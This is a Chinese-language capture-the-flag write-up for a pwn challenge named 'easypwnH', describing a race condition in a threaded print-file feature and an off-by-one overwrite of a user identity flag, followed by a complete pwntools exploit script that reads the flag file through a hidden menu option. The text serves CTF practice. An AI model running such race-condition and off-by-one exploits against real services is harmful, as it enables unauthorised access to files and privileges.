easypwnH
0x00 查保护
checksec后发现保护差不多都开了
0x02 收集程序特征
运行程序发现需要用户选择登录方式
选择第一种发现直接可以进入login with anonymous
第二种登录方式需要用户名和密码
第三种登录方式直接不让登录
0x03 静态分析
在函数3c50中可以看到与界面相关的信息
回到主函数继续分析发现在print file功能中使用了多线程
查看线程函数发现有个sleep操作,这里就存在条件竞争漏洞了
最后大致的攻击思路先获取admin的权限。再利用offbyone修改用户身份标识就可以pwn了。exp如下所示
1 import re 2 import sys 3 import requests 4 from pwn import* 5 6 HOST = sys.argv[1] 7 PORT = sys.argv[2] 8 FLAG = sys.argv[3] 9 10 def login(p): 11 p.recv() 12 p.sendline("2") 13 p.recv() 14 p.sendline("guest") 15 p.recv() 16 p.sendline("1233211234567233") 17 18 def create(p,name,length,content): 19 p.recvuntil("7. exit\n") 20 p.sendline("1") 21 p.recvuntil("input file name:") 22 p.sendline(name) 23 p.recv() 24 p.sendline(str(length)) 25 p.recv() 26 p.sendline(content.ljust(length,"\0")) 27 28 def delete(p,name): 29 p.recvuntil("7. exit\n") 30 p.sendline("2") 31 p.recvuntil("name:") 32 p.sendline(name) 33 34 def prints(p,name): 35 p.recvuntil("6. secret\n") 36 p.sendline("3") 37 p.sendlineafter("input file name:",name) 38 39 def change(p,name,password): 40 p.recvuntil("7. exit\n") 41 p.sendline("5") 42 p.recvuntil("user name:") 43 p.sendline(name) 44 p.recvuntil("user password:") 45 p.send(password) 46 47 def secret(p,oldpath,newpath): 48 p.recvuntil("6. secret\n") 49 p.sendline("666") 50 p.recvuntil("input old path:") 51 p.sendline(oldpath) 52 p.recvuntil("input new path:") 53 p.sendline(newpath) 54 55 def exp(ip, port): 56 p = remote(ip,port) 57 login(p) 58 create(p,"a",10,"aaaaaaaa") 59 delete(p,"a") 60 change(p,"zs0zrc",'a'*0x20 + "\x03") 61 prints(p,"a") 62 sleep(1) 63 secret(p,"/home/ctf/flag","/tmp/a") 64 p.recvuntil("content:") 65 flag = p.recv().strip() 66 print flag 67 return flag 68 69 if name == ' main ': 70 flag = exp(HOST, PORT) 71 assert flag == FLAG 72 print("Pass!")